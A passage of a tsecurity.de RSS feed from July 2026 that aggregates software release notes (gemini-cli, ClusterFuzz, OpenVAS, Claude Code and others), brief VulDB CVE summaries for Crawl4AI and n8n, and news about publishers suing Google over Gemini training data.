<li>fix(core): resolve symbolic link directory escape in memory import processor by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luisfelipe-alt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luisfelipe-alt">@luisfelipe-alt</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4788023907" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28233" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28233/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28233">#28233</a></li>
<li>feat(caretaker): egress cloud run service skeleton by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chadd28/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chadd28">@chadd28</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4756075933" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28167" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28167/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28167">#28167</a></li>
<li>fix(sandbox): make ~/.gitconfig read-only in the macOS sandbox by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ompatel-aiml/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ompatel-aiml">@ompatel-aiml</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4779278087" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28221" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28221/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28221">#28221</a></li>
<li>fix(core): preserve escape sequences in string literals for modern models by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luisfelipe-alt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luisfelipe-alt">@luisfelipe-alt</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4816231374" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28299" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28299/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28299">#28299</a></li>
<li>fix(core): strip thoughts from scrubbed history turns and resolve thought leakage by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amelidev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amelidev">@amelidev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4678608403" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/27971" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/27971/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/27971">#27971</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/google-gemini/gemini-cli/compare/v0.50.0...v0.51.0"><tt>v0.50.0...v0.51.0</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[javascript: v0.5.3]]></title>
<description><![CDATA[0.5.3 (2026-07-16)
Features

add Claude Code agent adapter (#687) (8d642d4)
events: support LANGWATCH_PROJECT_ID via X-Project-Id header (#619) (7aec1c7)

Bug Fixes

#695: twilio terminal sentinel on silent/tool-only stop (dead-recv-loop hang) (#697) (e675224)
voice/#662: guard #662's response.cr...]]></description>
<link>https://tsecurity.de/de/3674078/it-security-tools/javascript-v053/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674078/it-security-tools/javascript-v053/</guid>
<pubDate>Thu, 16 Jul 2026 18:20:42 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2><a href="https://github.com/langwatch/scenario/compare/javascript/v0.5.2...javascript/v0.5.3">0.5.3</a> (2026-07-16)</h2>
<h3>Features</h3>
<ul>
<li>add Claude Code agent adapter (<a href="https://github.com/langwatch/scenario/issues/687" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/687/hovercard">#687</a>) (<a href="https://github.com/langwatch/scenario/commit/8d642d441c883327de8c9abd8ab0364b2667e7a8">8d642d4</a>)</li>
<li><strong>events:</strong> support LANGWATCH_PROJECT_ID via X-Project-Id header (<a href="https://github.com/langwatch/scenario/issues/619" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/619/hovercard">#619</a>) (<a href="https://github.com/langwatch/scenario/commit/7aec1c7c88a08ee4d732609fa480489e100f22e5">7aec1c7</a>)</li>
</ul>
<h3>Bug Fixes</h3>
<ul>
<li><strong><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4710280252" data-permission-text="Title is private" data-url="https://github.com/langwatch/scenario/issues/695" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/695/hovercard" href="https://github.com/langwatch/scenario/issues/695">#695</a>:</strong> twilio terminal sentinel on silent/tool-only stop (dead-recv-loop hang) (<a href="https://github.com/langwatch/scenario/issues/697" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/697/hovercard">#697</a>) (<a href="https://github.com/langwatch/scenario/commit/e675224226974eeb69a0ddffee48d47cca35b77c">e675224</a>)</li>
<li><strong>voice/<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4640224309" data-permission-text="Title is private" data-url="https://github.com/langwatch/scenario/issues/662" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/662/hovercard" href="https://github.com/langwatch/scenario/issues/662">#662</a>:</strong> guard <a href="https://github.com/langwatch/scenario/issues/662" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/662/hovercard">#662</a>'s response.create call sites against the active-response race (JS + PY) (<a href="https://github.com/langwatch/scenario/issues/669" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/669/hovercard">#669</a>) (<a href="https://github.com/langwatch/scenario/commit/0968374e2232af05cffd32b87c00e341511b2723">0968374</a>)</li>
</ul>
<h3>Miscellaneous</h3>
<ul>
<li><strong>lint:</strong> forbid non-null assertions in library src and gate it in CI (<a href="https://github.com/langwatch/scenario/issues/751" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/751/hovercard">#751</a>) (<a href="https://github.com/langwatch/scenario/issues/755" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/755/hovercard">#755</a>) (<a href="https://github.com/langwatch/scenario/commit/c8eeb5e33fc958702ba2c9778f9645964cfcb678">c8eeb5e</a>)</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[v2.35.0]]></title>
<description><![CDATA[What's Changed

Use clusterfuzz_manifest.json to set ChromeBuildArchive by @notvictorl in #5351
Correct execution permission check 100 -> 0o100 by @notvictorl in #5353
Gracefully shut down Centipede fuzzers by @aakallam in #5358
symbolizer: Add success tests and clean up tests by @g-ortuno in #53...]]></description>
<link>https://tsecurity.de/de/3673598/it-security-tools/v2350/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673598/it-security-tools/v2350/</guid>
<pubDate>Thu, 16 Jul 2026 15:18:54 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's Changed</h2>
<ul>
<li>Use clusterfuzz_manifest.json to set ChromeBuildArchive by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/notvictorl/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/notvictorl">@notvictorl</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4820359720" data-permission-text="Title is private" data-url="https://github.com/google/clusterfuzz/issues/5351" data-hovercard-type="pull_request" data-hovercard-url="/google/clusterfuzz/pull/5351/hovercard" href="https://github.com/google/clusterfuzz/pull/5351">#5351</a></li>
<li>Correct execution permission check <code>100</code> -&gt; <code>0o100</code> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/notvictorl/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/notvictorl">@notvictorl</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4832159548" data-permission-text="Title is private" data-url="https://github.com/google/clusterfuzz/issues/5353" data-hovercard-type="pull_request" data-hovercard-url="/google/clusterfuzz/pull/5353/hovercard" href="https://github.com/google/clusterfuzz/pull/5353">#5353</a></li>
<li>Gracefully shut down Centipede fuzzers by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/aakallam/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/aakallam">@aakallam</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4857968419" data-permission-text="Title is private" data-url="https://github.com/google/clusterfuzz/issues/5358" data-hovercard-type="pull_request" data-hovercard-url="/google/clusterfuzz/pull/5358/hovercard" href="https://github.com/google/clusterfuzz/pull/5358">#5358</a></li>
<li>symbolizer: Add success tests and clean up tests by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/g-ortuno/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/g-ortuno">@g-ortuno</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4876413451" data-permission-text="Title is private" data-url="https://github.com/google/clusterfuzz/issues/5359" data-hovercard-type="pull_request" data-hovercard-url="/google/clusterfuzz/pull/5359/hovercard" href="https://github.com/google/clusterfuzz/pull/5359">#5359</a></li>
<li>symbolizer: Stop using llvm-symbolizer if it crashes by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/g-ortuno/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/g-ortuno">@g-ortuno</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4884968952" data-permission-text="Title is private" data-url="https://github.com/google/clusterfuzz/issues/5361" data-hovercard-type="pull_request" data-hovercard-url="/google/clusterfuzz/pull/5361/hovercard" href="https://github.com/google/clusterfuzz/pull/5361">#5361</a></li>
<li>Always set BOT_COUNT metric in the run_bot task loop by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dylanjew/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dylanjew">@dylanjew</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4877271341" data-permission-text="Title is private" data-url="https://github.com/google/clusterfuzz/issues/5360" data-hovercard-type="pull_request" data-hovercard-url="/google/clusterfuzz/pull/5360/hovercard" href="https://github.com/google/clusterfuzz/pull/5360">#5360</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/google/clusterfuzz/compare/v2.34.0...v2.35.0"><tt>v2.34.0...v2.35.0</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Google Hit With New Copyright Lawsuit Over Gemini AI Training]]></title>
<description><![CDATA[Publishers and author Scott Turow sued Google, alleging it used copyrighted books and articles to train Gemini without permission.
The post Google Hit With New Copyright Lawsuit Over Gemini AI Training appeared first on TechRepublic.]]></description>
<link>https://tsecurity.de/de/3673265/it-nachrichten/google-hit-with-new-copyright-lawsuit-over-gemini-ai-training/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673265/it-nachrichten/google-hit-with-new-copyright-lawsuit-over-gemini-ai-training/</guid>
<pubDate>Thu, 16 Jul 2026 13:33:37 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Publishers and author Scott Turow sued Google, alleging it used copyrighted books and articles to train Gemini without permission.</p>
<p>The post <a href="https://www.techrepublic.com/article/news-google-gemini-ai-training-publishers-lawsuit/">Google Hit With New Copyright Lawsuit Over Gemini AI Training</a> appeared first on <a href="https://www.techrepublic.com/">TechRepublic</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[v23.49.2]]></title>
<description><![CDATA[23.49.2 - 2026-07-16
Bug Fixes

reported issues in the scanner (#2264) 2dbd4dc4
Tweak log domain (#2281) 006ce349]]></description>
<link>https://tsecurity.de/de/3673167/downloads/v23492/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673167/downloads/v23492/</guid>
<pubDate>Thu, 16 Jul 2026 13:02:06 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2><a href="https://github.com/greenbone/openvas-scanner/compare/v23.49.1...v23.49.2">23.49.2</a> - 2026-07-16</h2>
<h2>Bug Fixes</h2>
<ul>
<li>reported issues in the scanner (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4745621487" data-permission-text="Title is private" data-url="https://github.com/greenbone/openvas-scanner/issues/2264" data-hovercard-type="pull_request" data-hovercard-url="/greenbone/openvas-scanner/pull/2264/hovercard" href="https://github.com/greenbone/openvas-scanner/pull/2264">#2264</a>) <a href="https://github.com/greenbone/openvas-scanner/commit/2dbd4dc4">2dbd4dc4</a></li>
<li>Tweak log domain (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4883109836" data-permission-text="Title is private" data-url="https://github.com/greenbone/openvas-scanner/issues/2281" data-hovercard-type="pull_request" data-hovercard-url="/greenbone/openvas-scanner/pull/2281/hovercard" href="https://github.com/greenbone/openvas-scanner/pull/2281">#2281</a>) <a href="https://github.com/greenbone/openvas-scanner/commit/006ce349">006ce349</a></li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft makes Windows SSO prompts easier to manage]]></title>
<description><![CDATA[Microsoft is introducing a new registry-based policy that lets IT administrators automatically accept Windows SSO permissions on Windows 11 versions 24H2 and 25H2 devices managed with Microsoft Entra ID. Users with personal Microsoft accounts and devices outside policy-managed environments will c...]]></description>
<link>https://tsecurity.de/de/3672853/it-security-nachrichten/microsoft-makes-windows-sso-prompts-easier-to-manage/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672853/it-security-nachrichten/microsoft-makes-windows-sso-prompts-easier-to-manage/</guid>
<pubDate>Thu, 16 Jul 2026 10:52:56 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Microsoft is introducing a new registry-based policy that lets IT administrators automatically accept Windows SSO permissions on Windows 11 versions 24H2 and 25H2 devices managed with Microsoft Entra ID. Users with personal Microsoft accounts and devices outside policy-managed environments will continue to receive SSO permission prompts. Admin control for SSO prompts in Windows (Source: Microsoft) Why Microsoft introduced it In the European Economic Area (EEA), Microsoft changed the Windows sign-in experience so users can choose … <a href="https://www.helpnetsecurity.com/2026/07/16/windows-sso-policy-admin-control/" rel="nofollow">More <span class="meta-nav">→</span></a></p>
<p>The post <a href="https://www.helpnetsecurity.com/2026/07/16/windows-sso-policy-admin-control/">Microsoft makes Windows SSO prompts easier to manage</a> appeared first on <a href="https://www.helpnetsecurity.com/">Help Net Security</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-26216 | unclecode Crawl4AI up to 0.7.x Docker API Deployment /crawl exec code injection]]></title>
<description><![CDATA[A vulnerability was found in unclecode Crawl4AI up to 0.7.x. It has been rated as critical. Impacted is the function exec of the file /crawl of the component Docker API Deployment. The manipulation leads to code injection.

This vulnerability is traded as CVE-2026-26216. It is possible to initiat...]]></description>
<link>https://tsecurity.de/de/3672824/sicherheitsluecken/cve-2026-26216-unclecode-crawl4ai-up-to-07x-docker-api-deployment-crawl-exec-code-injection/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672824/sicherheitsluecken/cve-2026-26216-unclecode-crawl4ai-up-to-07x-docker-api-deployment-crawl-exec-code-injection/</guid>
<pubDate>Thu, 16 Jul 2026 10:40:22 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/product/unclecode:crawl4ai">unclecode Crawl4AI up to 0.7.x</a>. It has been rated as <a href="https://vuldb.com/kb/risk">critical</a>. Impacted is the function <code>exec</code> of the file <em>/crawl</em> of the component <em>Docker API Deployment</em>. The manipulation leads to code injection.

This vulnerability is traded as <a href="https://vuldb.com/cve/CVE-2026-26216">CVE-2026-26216</a>. It is possible to initiate the attack remotely. There is no exploit available.

Upgrading the affected component is advised.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-26217 | unclecode Crawl4AI up to 0.7.x Docker API Deployment /execute_js path traversal (GHSA-vx9w-5cx4-9796)]]></title>
<description><![CDATA[A vulnerability described as critical has been identified in unclecode Crawl4AI up to 0.7.x. Affected is an unknown function of the file /execute_js of the component Docker API Deployment. Executing a manipulation can lead to path traversal.

The identification of this vulnerability is CVE-2026-2...]]></description>
<link>https://tsecurity.de/de/3672822/sicherheitsluecken/cve-2026-26217-unclecode-crawl4ai-up-to-07x-docker-api-deployment-executejs-path-traversal-ghsa-vx9w-5cx4-9796/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672822/sicherheitsluecken/cve-2026-26217-unclecode-crawl4ai-up-to-07x-docker-api-deployment-executejs-path-traversal-ghsa-vx9w-5cx4-9796/</guid>
<pubDate>Thu, 16 Jul 2026 10:40:19 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability described as <a href="https://vuldb.com/kb/risk">critical</a> has been identified in <a href="https://vuldb.com/product/unclecode:crawl4ai">unclecode Crawl4AI up to 0.7.x</a>. Affected is an unknown function of the file <em>/execute_js</em> of the component <em>Docker API Deployment</em>. Executing a manipulation can lead to path traversal.

The identification of this vulnerability is <a href="https://vuldb.com/cve/CVE-2026-26217">CVE-2026-26217</a>. The attack may be launched remotely. There is no exploit available.

Upgrading the affected component is recommended.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-56352 | n8n up to 2.19.2 ExecuteWorkflow Node localFile permission (WID-SEC-2026-1589)]]></title>
<description><![CDATA[A vulnerability, which was classified as critical, was found in n8n up to 2.19.2. The affected element is an unknown function of the component ExecuteWorkflow Node. Such manipulation of the argument localFile leads to permission issues.

This vulnerability is referenced as CVE-2026-56352. It is p...]]></description>
<link>https://tsecurity.de/de/3672772/sicherheitsluecken/cve-2026-56352-n8n-up-to-2192-executeworkflow-node-localfile-permission-wid-sec-2026-1589/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672772/sicherheitsluecken/cve-2026-56352-n8n-up-to-2192-executeworkflow-node-localfile-permission-wid-sec-2026-1589/</guid>
<pubDate>Thu, 16 Jul 2026 10:09:11 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability, which was classified as <a href="https://vuldb.com/kb/risk">critical</a>, was found in <a href="https://vuldb.com/product/n8n">n8n up to 2.19.2</a>. The affected element is an unknown function of the component <em>ExecuteWorkflow Node</em>. Such manipulation of the argument <em>localFile</em> leads to permission issues.

This vulnerability is referenced as <a href="https://vuldb.com/cve/CVE-2026-56352">CVE-2026-56352</a>. It is possible to launch the attack remotely. No exploit is available.]]></content:encoded>
</item>
<item>
<title><![CDATA[v0.32.1]]></title>
<description><![CDATA[cmd: put current working dir in the system prompt (#17188)]]></description>
<link>https://tsecurity.de/de/3672419/downloads/v0321/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672419/downloads/v0321/</guid>
<pubDate>Thu, 16 Jul 2026 07:31:46 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>cmd: put current working dir in the system prompt (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4887553796" data-permission-text="Title is private" data-url="https://github.com/ollama/ollama/issues/17188" data-hovercard-type="pull_request" data-hovercard-url="/ollama/ollama/pull/17188/hovercard" href="https://github.com/ollama/ollama/pull/17188">#17188</a>)</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Weston 16.0 Released: Key New Features]]></title>
<description><![CDATA[Weston 16.0 released with major advances in HDR, color management, and Wayland protocol support. After about five months of development, the Weston project has officially released Weston 16.0, the reference Wayland compositor. This version brings important improvements that will help desktop envi...]]></description>
<link>https://tsecurity.de/de/3672288/linux-tipps/weston-160-released-key-new-features/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672288/linux-tipps/weston-160-released-key-new-features/</guid>
<pubDate>Thu, 16 Jul 2026 05:53:55 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Weston 16.0 released with major advances in HDR, color management, and Wayland protocol support. After about five months of development, the Weston project has officially released Weston 16.0, the reference Wayland compositor. This version brings important improvements that will help desktop environments like GNOME, KDE, and Enlightenment achieve better and more complete Wayland support. It’s...</p>
<p>The post <a href="https://www.debugpoint.com/weston-16/">Weston 16.0 Released: Key New Features</a> appeared first on <a href="https://www.debugpoint.com/">DebugPoint.com</a>. Do not reproduce this post without permission.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Release v0.52.0-nightly.20260716.g3ff5ba20f]]></title>
<description><![CDATA[What's Changed

chore/release: bump version to 0.52.0-nightly.20260715.gfa975395b by @gemini-cli-robot in #28402
fix(core,a2a): group cancelled tool responses and coalesce consecutive roles to prevent 400 Bad Request by @luisfelipe-alt in #28407

Full Changelog: v0.52.0-nightly.20260715.gfa975395...]]></description>
<link>https://tsecurity.de/de/3672178/downloads/release-v0520-nightly20260716g3ff5ba20f/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672178/downloads/release-v0520-nightly20260716g3ff5ba20f/</guid>
<pubDate>Thu, 16 Jul 2026 03:46:21 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's Changed</h2>
<ul>
<li>chore/release: bump version to 0.52.0-nightly.20260715.gfa975395b by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gemini-cli-robot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gemini-cli-robot">@gemini-cli-robot</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4888459983" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28402" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28402/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28402">#28402</a></li>
<li>fix(core,a2a): group cancelled tool responses and coalesce consecutive roles to prevent 400 Bad Request by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luisfelipe-alt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luisfelipe-alt">@luisfelipe-alt</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4893271589" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28407" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28407/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28407">#28407</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/google-gemini/gemini-cli/compare/v0.52.0-nightly.20260715.gfa975395b...v0.52.0-nightly.20260716.g3ff5ba20f"><tt>v0.52.0-nightly.20260715.gfa975395b...v0.52.0-nightly.20260716.g3ff5ba20f</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[v2.1.211]]></title>
<description><![CDATA[What's changed

Added --forward-subagent-text flag and CLAUDE_CODE_FORWARD_SUBAGENT_TEXT environment variable to include subagent text and thinking in stream-json output
Fixed permission previews relayed to chat channels not neutralizing bidirectional-override, zero-width, and look-alike quote ch...]]></description>
<link>https://tsecurity.de/de/3672066/downloads/v21211/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672066/downloads/v21211/</guid>
<pubDate>Thu, 16 Jul 2026 01:16:22 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's changed</h2>
<ul>
<li>Added <code>--forward-subagent-text</code> flag and <code>CLAUDE_CODE_FORWARD_SUBAGENT_TEXT</code> environment variable to include subagent text and thinking in stream-json output</li>
<li>Fixed permission previews relayed to chat channels not neutralizing bidirectional-override, zero-width, and look-alike quote characters, so tool inputs cannot visually alter the approval message</li>
<li>Fixed auto mode overriding a PreToolUse hook's <code>ask</code> decision for unsandboxed Bash — a hook <code>ask</code> now floors the decision at a prompt</li>
<li>Fixed parallel Claude Code sessions all logging out simultaneously after wake-from-sleep when many sessions share one credential store</li>
<li>Fixed plugin MCP servers not reconnecting after an idle web session woke, leaving MCP calls failing until the next message</li>
<li>Fixed Claude Code on Vertex and Bedrock attempting the default Opus model at startup and printing a spurious fallback notice when a model is explicitly configured</li>
<li>Fixed subagents spawned with an explicit model override reverting to the parent's model when resumed or sent a follow-up message</li>
<li>Fixed nested <code>.claude/rules/*.md</code> files loading even when setting sources exclude project settings</li>
<li>Fixed file upload validation: filenames ending in a DOS device suffix (<code>.prn</code>) or trailing dot are now accepted, and files with multiple hard links are refused</li>
<li>Fixed file uploads to Claude in Chrome from remote and CLI sessions</li>
<li>Fixed edits that leave the input as "?" being silently swallowed and toggling the shortcuts panel</li>
<li>Fixed a startup hang when the Claude in Chrome extension is enabled but Chrome is not running</li>
<li>Fixed a 300ms delay revealing async content (Settings tabs, Stats, diff views, and other loading states)</li>
<li>Fixed reopening a just-stopped background session from the agents view starting a blank conversation under the same session id</li>
<li>Fixed <code>/loop</code> hiding the session from <code>/resume</code> after a single use</li>
<li>Fixed screen reader users losing the audible terminal bell after <code>/terminal-setup</code> or onboarding terminal setup</li>
<li>Fixed background jobs on LLM gateway auth (<code>ANTHROPIC_AUTH_TOKEN</code> + <code>ANTHROPIC_BASE_URL</code>) coming back "Not logged in" after the daemon respawns them</li>
<li>Fixed <code>claude agents</code> jobs becoming permanently undeletable when git no longer recognizes their worktree — the row now shows why the delete was refused instead of silently reappearing</li>
<li>Fixed <code>/clear</code> not resetting the session cost counter — the statusline's cost now starts at $0 after <code>/clear</code></li>
<li>Fixed Claude in Chrome setup pages failing to open in the browser on Windows</li>
<li>Fixed headless print-mode sessions on Windows crashing or silently exiting when stdin is unreadable</li>
<li>Fixed background session titles in the agents view showing the naming model's refusal text when the prompt contains a link</li>
<li>Fixed background agents killed by the user auto-respawning, and revived agents re-running stale prompts from old sessions</li>
<li>Fixed routines with no schedule reporting a next run time in the year 1</li>
<li>Hardened synced skill/plugin directory naming on Windows and kept CCR web fetch/search proxies working after <code>/clear</code></li>
<li>Improved terminal layout and rendering performance</li>
<li>Improved background agent result reporting — Claude now reports the status of still-running agents and waits for the real completion instead of fabricating results</li>
<li>Improved the memory index over-limit warning to measure only loaded content, excluding frontmatter and HTML comments</li>
<li>Updated integer environment variables (timeouts, token budgets, retry counts) to accept scientific notation and digit-separator spellings like <code>1e6</code> and <code>64_000</code></li>
<li>Updated documentation links to the current docs sites</li>
<li>Changed "always allow" permission rules to save at the repository root, so approvals granted in a git worktree persist across sessions and worktrees</li>
<li>Changed <code>/usage-credits</code> to ask for confirmation before sending a request to organization admins</li>
<li>Changed Vim mode <code>s</code> and <code>S</code> (substitute char/line) to work in NORMAL mode, matching vim behavior</li>
<li>[VSCode] Updated the Remote Control banner to describe what it does</li>
<li>Claude in Chrome: hardened file-upload path validation</li>
<li>Claude in Chrome: <code>save_to_disk</code> on screenshot actions now writes the image to disk and returns the path; previously it did nothing</li>
<li>Fixed a prompt-caching regression on Bedrock, Vertex, Mantle, and Foundry that billed the trailing system context block as fresh input tokens on every request.</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Book Publishers Sue Google For Copyright Infringement Over Gemini AI Training]]></title>
<description><![CDATA[Major publishers Hachette, Cengage, Elsevier, and author Scott Turow have sued Google, accusing it of using millions of copyrighted books to train Gemini without permission or payment, in "one of the most prolific infringements of copyrighted materials in history." The Guardian reports: The publi...]]></description>
<link>https://tsecurity.de/de/3672052/it-security-nachrichten/book-publishers-sue-google-for-copyright-infringement-over-gemini-ai-training/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672052/it-security-nachrichten/book-publishers-sue-google-for-copyright-infringement-over-gemini-ai-training/</guid>
<pubDate>Thu, 16 Jul 2026 01:08:20 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Major publishers Hachette, Cengage, Elsevier, and author Scott Turow have sued Google, accusing it of using millions of copyrighted books to train Gemini without permission or payment, in "one of the most prolific infringements of copyrighted materials in history." The Guardian reports: The publishers argue that Google repurposed books that had been supplied for limited services such as Google Books, Google Play Books and Google Scholar. Those services allowed Google to use the works in specific ways -- for example, to display searchable snippets or sell ebooks -- but not, the lawsuit claims, to copy them for training commercial AI products. "Desperate to maintain its online dominance, Google abandoned its early motto of 'Don't be evil' and engaged in one of the most prolific infringements of copyrighted materials in history," the suit states (PDF).
 
According to the complaint, the tech company made copies of copyrighted books to train Gemini without permission or payment, despite internal discussions acknowledging the legal risks. The filing claims Google flagged internally that it could face "$10Bs-$100Bs in potential fines" for using texts provided by publishers for Google Play Books. The publishers say Google's actions are harming authors and the wider publishing industry, arguing that AI-generated content could negatively impact book sales.
 
